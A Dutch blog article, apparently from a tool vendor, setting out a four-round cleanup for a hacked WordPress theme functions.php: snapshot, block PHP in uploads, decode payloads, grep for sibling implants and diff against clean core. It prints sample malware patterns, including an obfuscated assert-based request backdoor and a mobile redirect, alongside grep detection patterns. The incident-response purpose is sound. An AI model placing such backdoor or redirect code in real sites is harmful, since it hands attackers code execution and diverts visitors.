— Artikel — № 107

107 —WordPress

WordPress functions.php hack: opruimen in vier rondes

Een gehackte theme functions.php komt zelden alleen. Dit is de cleanup in vier rondes die we draaien voor iemand wp-options of wp-posts aanraakt.

Bureau van bovenaf met functions.php-werkblad, manilla tab, diff-vellen, indexkaart, messing plaat, vulpen, lakzegel.
Hero · gestileerd stilleven№ 107

De eerste Loom kwam binnen om 23:41. Een klein Nederlands bureau waar we mee werken had de spoedhosting overgenomen voor een vijf jaar oude legacy site op WordPress, het soort dat één productbrochure en een contactformulier serveert. De vorige developer was verdwenen. De site serveerde nog steeds pagina's, maar elke derde page-load stuurde mobiele bezoekers door naar een Telegram-funnel op een .ru-domein. De bureauleider opende wp-content/themes/saledine/functions.php en de eerste 11 regels waren een muur van eval(base64_decode( gevolgd door een string van 4.200 tekens.

Dat is het moment waarop de vraag niet langer is "is dit gehackt" maar "hoeveel meer is gehackt." De injectie in een WordPress functions.php is bijna nooit het hele verhaal. Behandel het als het hele verhaal, en je bent drie uur bezig met opruimen van de zichtbare payload, om hem om 03:00 weer terug te zien komen omdat een verwant implant in mu-plugins/ het bestand opnieuw heeft geschreven bij een cron-tik.

Hieronder staat de cleanup in vier rondes die we op een gehackte WordPress site draaien voordat we de database aanraken. De volgorde is belangrijk. De database is het duurste om op te ruimen en het duurste om te breken, dus die bewaren we voor het laatst.

Ronde één: leg de patiënt stil

Het eerste wat we doen is voorkomen dat de site de aanvaller verder helpt. Dat betekent niet dat we de site offline halen. De meeste bureaus kunnen het zich niet veroorloven om de winkel van een klant vier uur op zwart te zetten voor een echte cleanup. Het betekent drie kleinere dingen, allemaal omkeerbaar.

Eerst maken we een snapshot van de hele docroot naar een directory waar de webuser niet in kan schrijven. Een read-only tarball met een timestamp in de naam, op een aparte disk of binnengehaald via SFTP. Dit is je bewijs, je rollback en je diff-baseline. Sla deze stap niet over omdat je "vorige week nog een back-up hebt gedraaid." Die back-up van vorige week is van vóór de aanvaller naar binnen kroop.

tar --exclude='wp-content/cache' --exclude='wp-content/uploads/cache' \
    -czf /var/backups/saledine-$(date +%Y%m%d-%H%M).tgz \
    /var/www/saledine/htdocs
chmod 0400 /var/backups/saledine-*.tgz

Daarna plaatsen we één .htaccess-blok in de docroot dat PHP-executie blokkeert binnen wp-content/uploads/. Dit is het meest voorkomende re-entry point. Zelfs als de aanvaller een verse webshell in uploads/2024/03/ heeft gedropt, voorkomt dit dat hij naar huis belt terwijl wij werken.

# /var/www/saledine/htdocs/wp-content/uploads/.htaccess
<FilesMatch "\.(php|phtml|phar|php7|php8)$">
    Require all denied
</FilesMatch>

De documentatie van Apache over Require directives beschrijft de syntax. Op nginx is het equivalent een location ~* /wp-content/uploads/.*\.php$ { deny all; }-blok in de server-config, geladen met nginx -s reload.

Ten derde roteren we de secrets nog niet. De aanvaller leest mogelijk nog mee in de logs, en nu roteren signaleert dat je het hebt gemerkt. We zetten een aantekening om te roteren aan het eind van ronde vier, zodra we een schoon image hebben om terug te deployen.

Ronde twee: lees de zichtbare payload

Nu de functions.php. Open hem in een editor die niets autoexecute (dus niet de "preview"-modus van je IDE). De eerste taak is begrijpen wat de injectie doet, niet hem verwijderen. Verwijderen-zonder-lezen is hoe je de payload weghaalt maar het persistence-mechanisme laat staan.

Een typische WordPress functions.php injectie uit de laatste 18 maanden ziet er uit als één van drie patronen:

// Pattern A: the prepended eval/base64
@eval(base64_decode("aWYoaXNzZXQoJF9SRVF..."));

// Pattern B: the obfuscated function
function _wp_get_request_data($k) {
    $a = ['a','s','s','e','r','t'];
    $f = implode('', $a);
    return $f($_REQUEST[$k] ?? '');
}
add_action('init', '_wp_get_request_data');

// Pattern C: the conditional crawler redirect
if (!empty($_SERVER['HTTP_USER_AGENT']) &&
    preg_match('/Mobile|iPhone|Android/i', $_SERVER['HTTP_USER_AGENT']) &&
    !preg_match('/bot|crawl|spider/i', $_SERVER['HTTP_USER_AGENT'])) {
    @header('Location: https://[redacted].ru/go?id=42');
    exit;
}

Decodeer de base64 in patroon A met de hand, in een sandbox. Pipe het niet door eval op een live server, maar plak het ook niet in een publieke web-decoder, want de payload bevat meestal de command-and-control URL van de aanvaller en die wil je niet zien opduiken in de log van een derde partij. echo "aWYoaXNz..." | base64 -d op een ontkoppelde VM is genoeg.

Wat je bijna altijd vindt is een request-handler die een commando uit een POST-parameter haalt, door eval jaagt en de output teruggeeft. Dat is je echte entry point. De redirect is het luidruchtige symptoom. De eval-handler is de deur.

Noteer in welk bestand de payload leeft (wp-content/themes/saledine/functions.php), welke andere strings in de buurt staan (aes-256, gzinflate, str_rot13), en aan welke hook hij hangt (init, wp_loaded, after_setup_theme). Naar die strings ga je grepen in ronde drie.

Ronde drie: jaag op de broertjes

Dit is de ronde die de implants vangt die de eerste ronde miste. Elke signatuur die je in ronde twee hebt genoteerd wordt een grep-target over de hele docroot, niet alleen de theme-directory.

cd /var/www/saledine/htdocs
grep -rEn --include='*.php' \
    'eval\s*\(\s*(base64_decode|gzinflate|str_rot13)' \
    wp-content/ wp-includes/ wp-admin/ 2>/dev/null

De output is meestal langer dan de bureauleider had verwacht. We hebben sites gezien waar dezelfde payload werd herhaald in:

  • wp-content/mu-plugins/index.php (een must-use plugin laadt automatisch bij elke request, geen admin-actie nodig)
  • wp-content/plugins/akismet/_inc/akismet-frontend.js.php (een echt pluginpad met een nepsuffix)
  • wp-includes/class-wp-hook.php (ja, aanvallers bewerken core)
  • wp-content/uploads/2024/03/.thumb.php (de uploads-payload die je .htaccess net heeft geblokkeerd)

Elk daarvan is een aparte root cause. Behandel ze als losse bevindingen, niet als duplicaten. Lees elke versie volgens de aanpak van ronde twee voor je hem verwijdert. Soms is patroon A in de WordPress functions.php de afleider en zit de echte persistence in mu-plugins waar niemand kijkt.

Een tweede nuttige grep is op de WordPress-functies die aanvallers graag misbruiken:

grep -rEn --include='*.php' \
    'wp_schedule_(single_)?event|update_option\([^,]*active_plugins' \
    wp-content/ wp-includes/

Vind je een update_option('active_plugins', ...)-aanroep in een themebestand, dan herschrijft de aanvaller je pluginlijst tijdens runtime, wat betekent dat zelfs je "ik heb alle plugins uitgezet"-test tegen je loog.

Ronde vier: diff tegen een schone baseline

De vorige drie rondes zijn aftrekkend. Deze is vergelijkend. We downloaden een schone kopie van exact de WordPress versie die de site draait, plus schone kopieën van elke plugin en het theme (als het een publiek theme is), en we diffen de trees.

# Get the running version
grep wp_version /var/www/saledine/htdocs/wp-includes/version.php
# $wp_version = '6.4.3';

# Pull the matching core
curl -sLO https://wordpress.org/wordpress-6.4.3.tar.gz
tar -xzf wordpress-6.4.3.tar.gz -C /tmp/clean/

# Diff the live tree against clean
diff -rq /tmp/clean/wordpress/wp-includes/ \
         /var/www/saledine/htdocs/wp-includes/
diff -rq /tmp/clean/wordpress/wp-admin/ \
         /var/www/saledine/htdocs/wp-admin/

Alles wat terugkomt als "Only in" de live-tree, of als "differ", is een kandidaat. Het meeste is onschuldig (een plugin die legitiem naar wp-content/ schrijft). Een deel is dat niet. We hebben op deze manier injecties gevonden binnen wp-admin/includes/class-wp-filesystem-ftpext.php die geen grep had opgepikt, omdat de aanvaller de coding style van WordPress zelf zorgvuldig had nagebootst.

Voor het theme, als het een custom build is zonder upstream, is de diff-baseline de tarball uit een eerdere back-up die je vertrouwt, gemaakt zoals in ronde één. De WordPress hardening guide beschrijft de file-integrity-check-aanpak in meer detail, maar het principe is hetzelfde: vergelijk wat draait met wat zou moeten draaien, en behandel elk verschil als een vraag.

Aan het eind van ronde vier heb je:

  • Een lijst van elk gewijzigd bestand
  • Een lijst van elk toegevoegd bestand
  • Een gedecodeerde kopie van elke payload
  • Een lijst van elke cron-hook die de implants hebben geregistreerd
  • Een geblokkeerde uploads-directory
  • Een onaangeraakte database

Dat laatste punt is het punt dat telt. Je hebt nog geen enkele UPDATE gedraaid. Je hebt geen enkele rij uit wp_options verwijderd. Je hebt de users-tabel niet "opgeschoond." Alles wat je tot nu toe hebt gedaan is omkeerbaar door de tarball uit ronde één terug te zetten.

Waarom we wachten met de database

De database is waar een cleanup misgaat. Het is ook waar de tweede golf van een aanval meestal leeft: een rij in wp_options met autoload = yes die het themebestand opnieuw injecteert bij de volgende page load, een verborgen admin user met user_registered teruggedateerd naar 2019, een wp_usermeta-rij die manage_options toekent aan een gewone subscriber. Niets daarvan is veilig om aan te raken voor je begrijpt wat elk implant in het filesystem deed, want de helft van de tijd is het filesystem-implant de leeskant en is de database-rij de schrijfkant.

De vier rondes hierboven geven je dat begrip. Heb je dat eenmaal, dan wordt het database-werk een reeks kleine, gerichte queries in plaats van een paniekerige wp-cli search-replace die een legitieme widget-config samen met de malware opblaast.

Toen we Pier bouwden liepen we precies tegen dit soort incidenten aan op klantsites. Wat we uiteindelijk zijn gaan doen is het filesystem en de database behandelen als één samenhangende werkruimte, met version history op elke bewerking en een MySQL editor die naast de SFTP-tree zit, zodat de vier rondes en de database-cleanup in hetzelfde venster gebeuren zonder dat je de diff-state ertussen kwijtraakt.

Het kleinste wat je vandaag kunt doen, zelfs zonder lopend incident, is het PHP-blok voor de uploads-directory uit ronde één toevoegen aan elke WordPress site die je onderhoudt. Het kost niets, het breekt niets legitiems, en het verwijdert het meest voorkomende re-entry point voordat je ooit de rest van het playbook hoeft te schrijven.

— Vragen —

Moet ik niet eerst een security-plugin draaien?

Niet voor ronde één. De meeste security-plugins schrijven naar wp_options en de database, en dat is precies wat je schoon wilt houden tot je elk filesystem-implant hebt gelezen.

Kan ik WP-CLI gebruiken voor deze cleanup?

Ja, voor read-only commando's zoals wp core verify-checksums. Vermijd wp option update of wp user delete tot ronde vier af is en je begrijpt wat elk implant deed.

Hoe lang duurt de cleanup in vier rondes?

Een schone run op een kleine site is ongeveer 90 minuten. Sites met meerdere implants en een custom theme kosten drie tot vier uur voor je de database aanraakt.